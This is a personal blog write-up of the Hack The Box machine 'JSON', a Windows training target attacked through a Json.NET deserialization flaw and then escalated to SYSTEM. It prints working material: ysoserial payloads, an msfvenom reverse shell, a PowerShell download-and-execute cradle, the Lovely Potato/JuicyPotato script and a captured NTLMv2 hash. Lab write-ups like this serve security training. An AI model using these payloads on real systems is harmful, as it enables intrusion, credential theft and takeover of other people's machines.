Ben Busby Projects, writeups, ideas, announcements, etc.

HTB: JSON (Windows Machine)

Hack The Box - “JSON” - Windows - 10.10.10.158

Completed: December 17th, 2019

Retired: February 15th, 2020

User

I initially tried the same basic enumeration approach I have taken on other Windows machines, but that didn’t seem to be of much help. The extent of the info I received was that there was a web service running on port 80, various RPC ports open, and a FileZilla port. When I visited the web site, I was shown a simple login form that was controlled by a few AngularJS scripts and one custom script that had been heavily uglified to prevent snooping. I performed a mixture of manual and online de-uglifying and renaming of variables to finally get something that I could decipher.

'use strict';
/** @type {!Array} */
var _0xd18f = ["principalController", "$http", "$scope", "$cookies", "OAuth2", "get", "UserName", "Name", "data", "remove", "href", "location", "login.html", "then", "/api/Account/", "controller", "loginController", "credentials", "", "error", "index.html", "login", "message", "Invalid Credentials.", "show", "log", "/api/token", "post", "json", "ngCookies", "module"];
angular["module"]("json", ["ngCookies"])["controller"]("loginController", ["$http", "$scope", "$cookies", function(symAttrs, data, i) {
  data["credentials"] = {
    UserName : "",
    Password : ""
  };
  data["error"] = {
    message : "",
    show : false
  };
  var OAuth2 = i["get"]("OAuth2");
  if (OAuth2) {
    /** @type {string} */
    window["location"]["href"] = "index.html";
  }
  /**
   * @return {undefined}
   */
  data["login"] = function() {
    symAttrs["post"]("/api/token", data["credentials"])["then"](function(canCreateDiscussions) {
      /** @type {string} */
      window["location"]["href"] = "index.html";
    }, function(body) {
      /** @type {string} */
      data["error"]["message"] = "Invalid Credentials";
      /** @type {boolean} */
      data["error"]["show"] = true;
      console["log"](body);
    });
  };
}])["controller"]("principalController", ["$http", "$scope", "$cookies", function(i, v, data) {
  var _0x30f6x4 = data["get"]("OAuth2");
  if (_0x30f6x4) {
    i["get"]("/api/Account", {
      headers : {
        "Bearer" : _0x30f6x4
      }
    })["then"](function(p) {
      v["UserName"] = p["data"]["Name"];
    }, function(canCreateDiscussions) {
      data["remove"]("OAuth2");
      /** @type {string} */
      window["location"]["href"] = "login.html";
    });
  } else {
    /** @type {string} */
    window["location"]["href"] = "login.html";
  }
}]);

With this in a readable format, I could see that there were two api endpoints that I could possibly take advantage of: /api/token and /api/Account.

I poked around at /api/token/ for a while, but couldn’t get anything working there, so I moved over to /api/Account. Here I found that I needed a “Bearer” header, which I could manually populate and see what I got back. I sent over a few dummy values and found out from the error messages that it needed to be in Json.NET format.

In keeping with the name of the machine, it was becoming clear that the attack needed to be some form of JSON deserialization attack. After a bit of searching, I came across a few helpful projects - primarily ysoserial.net which looked like it could be useful. I switched over to my Windows machine to generate a simple “ping” payload to make sure my exploit idea would work:

benbusby@Win2285 MINGW64 ~/ysoserial.net/ysoserial/bin/Debug (master)
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "ping 10.10.XX.XX"
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/c ping 10.10.XX.XX']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

With this payload generated, I went over to my linux machine to do the final GET request. First I encoded the payload as base64 via cat payload.txt | base64 -w 0, and then copied the output over to the request headers for Bearer (and also Cookie: OAuth2 since I knew they were using OAuth2 authentication and figured why not). The full request ended up looking like this:

Host: 10.10.10.158
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.158/index.html
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Bearer: ewogICAgJyR0eXBlJzonU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUnLAogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsCiAgICAnTWV0aG9kUGFyYW1ldGVycyc6ewogICAgICAgICckdHlwZSc6J1N5c3RlbS5Db2xsZWN0aW9ucy5BcnJheUxpc3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OScsCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywnICAvYyBcXFxcMTAuMTAuMTQuNTdcXGZmZlxcb3V0LmV4ZSddCiAgICB9LAogICAgJ09iamVjdEluc3RhbmNlJzp7JyR0eXBlJzonU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODknfQp9Cg==
Cookie: OAuth2=ewogICAgJyR0eXBlJzonU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUnLAogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsCiAgICAnTWV0aG9kUGFyYW1ldGVycyc6ewogICAgICAgICckdHlwZSc6J1N5c3RlbS5Db2xsZWN0aW9ucy5BcnJheUxpc3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OScsCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywnICAvYyBcXFxcMTAuMTAuMTQuNTdcXGZmZlxcb3V0LmV4ZSddCiAgICB9LAogICAgJ09iamVjdEluc3RhbmNlJzp7JyR0eXBlJzonU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODknfQp9Cg==
Cache-Control: no-cache
Content-Length: 0

Back on my linux machine I set up a listener for incoming pings, and confirmed that it was working:

ben@kali-linux:~/htb/machines/json
└──> sudo tcpdump -v -n icmp -i tun0
tcpdump: listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
10:32:12.334848 IP (tos 0x0, ttl 127, id 24554, offset 0, flags [none], proto ICMP (1), length 60)
    10.10.10.158 > 10.10.XX.XX: ICMP echo request, id 1, seq 17, length 40
10:32:12.334867 IP (tos 0x0, ttl 64, id 4657, offset 0, flags [none], proto ICMP (1), length 60)
    10.10.XX.XX > 10.10.10.158: ICMP echo reply, id 1, seq 17, length 40

Now that I knew the payload worked, it was just a matter of replacing the ping with a reverse shell. First I needed a reverse shell payload though, so I generated one with msfvenom:

ben@kali-linux:~/mrshare
└──> msfvenom -p windows/shell_reverse_tcp LHOST=10.10.XX.XX LPORT=2121 -f exe > out.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes

I moved the new out.exe rev shell to the same shared folder I used before on Resolute and restarted the file sharing service:

ben@kali-linux:~/mrshare
└──> sudo impacket-smbserver fff /home/ben/mrshare/
[sudo] password for ben:
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.158,51980)
[*] AUTHENTICATE_MESSAGE (JSON\userpool,JSON)
[*] User JSON\userpool authenticated successfully
[*] userpool::JSON:4141414141414141:6c8538d4559e1ddc775e8fafcda7b41a:0101000000000000008afc3d6fb3d5019fe140d4e83cbee200000000010010006900700041006e004800720066005600030010006900700041006e0048007200660056000200100075004b0075004400590055004e0057000400100075004b0075004400590055004e00570007000800008afc3d6fb3d50106000400020000000800300030000000000000000000000000300000b118ee8ce470690662636f755b70b486a1b5dc7794d17cc2eb03de42d64592220a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e003500370000000000000000000000000

Once I sent off the request, I got a reverse shell and was able to navigate the machine. With access to the machine, I navigated my way to the user folder (named “userpool”) and was able to get the User flag:

ben@kali-linux:~/mrshare
└──> nc -lvnp 2121
listening on [any] 2121 ...
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.158] 52013
ls
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>

...navigating...

c:\Users\userpool\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 68B8-7F1E

 Directory of c:\Users\userpool\Desktop

05/22/2019  04:07 PM    <DIR>          .
05/22/2019  04:07 PM    <DIR>          ..
05/22/2019  04:07 PM                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)  62,105,571,328 bytes free

c:\Users\userpool\Desktop>type user.txt
type user.txt
34459<snip>f52bb

Root

To get root, I used the Lovely Potato exploit from TsukiCTF, which admittedly felt a bit too easy. To do so, I followed the setup directions in their repo, but instead of generating a meterpreter shell, I stuck with my usual netcat shell. The main command called from the windows machine was the following (took 10 minutes to finish):

c:\Windows\System32\spool\drivers\color>powershell -command "IEX(New-Object Net.WebClient).DownloadString('http://10.10.XX.XX/Invoke-LovelyPotato.ps1')"
powershell -command "IEX(New-Object Net.WebClient).DownloadString('http://10.10.XX.XX/Invoke-LovelyPotato.ps1')"

Name           Used (GB)     Free (GB) Provider      Root
----           ---------     --------- --------      ----
HKCR                                   Registry      HKEY_CLASSES_ROOT
Testing {6CF9B800-50DB-46B5-9218-EACF07F5E414} 10001
....
[+] authresult 0
{6CF9B800-50DB-46B5-9218-EACF07F5E414};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK
Testing {8BC3F05E-D86B-11D0-A075-00C04FB68820} 10001
...........................................Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 10001
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK
Testing {C49E32C6-BC8B-11d2-85D4-00105A1F8304} 10001
COM -> recv failed with error: 10038
Testing {e60687f7-01a1-40aa-86ac-db1cbf673334} 10001
...........................................


c:\Windows\System32\spool\drivers\color>

Back on my linux machine, I set up a listener for the msfvenom payload I generated (same syntax from before, but for port 4242 and hosted from the sudo python3 -m http.server 80 web server within the LP folder. The Invoke-LovelyPotato.ps1 file looked as follows:

{
<#
.SYNOPSIS
Powershell script which automates the process of Juicy Potato local privilege escalation.

.DESCRIPTION
This script involves three major steps:
1. Downloads Juicy Potato static binary, CLSID enumeration script and an arbitrary binary which to be ran as NT AUTHORITY\SYSTEM.
2. Runs CLSID enumeration script in the background.
3. Launches Juicy Potato exploit for every CLSID with NT AUTHORITY\SYSTEM privilege found.

.EXAMPLE
PS > IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-LovelyPotato.ps1')

.NOTES
You must first read README.md and follow the instruction for initial setup or else this script will fail.

.LINK
https://github.com/TsukiCTF/Lovely-Potato
#>
	# Configuration
	$RemoteDir = "http://10.10.XX.XX"
	$LocalPath = "c:\Users\userpool\Documents"

	# Download necessary files for exploitation
	(New-Object Net.WebClient).DownloadFile("$RemoteDir/JuicyPotato-Static.exe", "$LocalPath\juicypotato.exe")
    Start-Sleep -s 5
	(New-Object Net.WebClient).DownloadFile("$RemoteDir/test_clsid.bat", "$LocalPath\test_clsid.bat")
    Start-Sleep -s 5
	(New-Object Net.WebClient).DownloadFile("$RemoteDir/output.exe", "$LocalPath\output.exe")

	# Enumerate CLSIDs
	New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT
	$CLSID = Get-ItemProperty HKCR:\clsid\* | Select-Object AppID,@{N='CLSID'; E={$_.pschildname}} | Where-Object {$_.appid -ne $null}
	$CLSID | Select-Object CLSID -ExpandProperty CLSID | Out-File -FilePath "$LocalPath\CLSID.list" -Encoding ascii
	Start-Process -FilePath "cmd" -ArgumentList "/c $LocalPath\test_clsid.bat" -WorkingDirectory $LocalPath

	# Find System CLSIDs
	Start-Sleep -s 600
	$SystemCLSID = type $LocalPath\result.log | findstr /i "system" | ForEach-Object {echo $_.split(";")[0]}

	# Launch Juicy Potato
	$SystemCLSID | ForEach-Object {cmd /c "$LocalPath\juicypotato.exe -t * -p $LocalPath\output.exe -l 10001 -c $_"}
}

Invoke-LovelyPotato

And finally the listener itself:

ben@kali-linux:~/htb/machines/json/Lovely-Potato
└──> nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.158] 49550
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

...

C:\Users\superadmin\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 68B8-7F1E

 Directory of C:\Users\superadmin\Desktop

08/12/2019  10:06 AM    <DIR>          .
08/12/2019  10:06 AM    <DIR>          ..
05/22/2019  04:06 PM                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  61,491,699,712 bytes free

C:\Users\superadmin\Desktop>type root.txt
type root.txt
3cc85<snip>441

Questions? Comments? Reach out!
You can find all of my projects and more on my Github or my main website.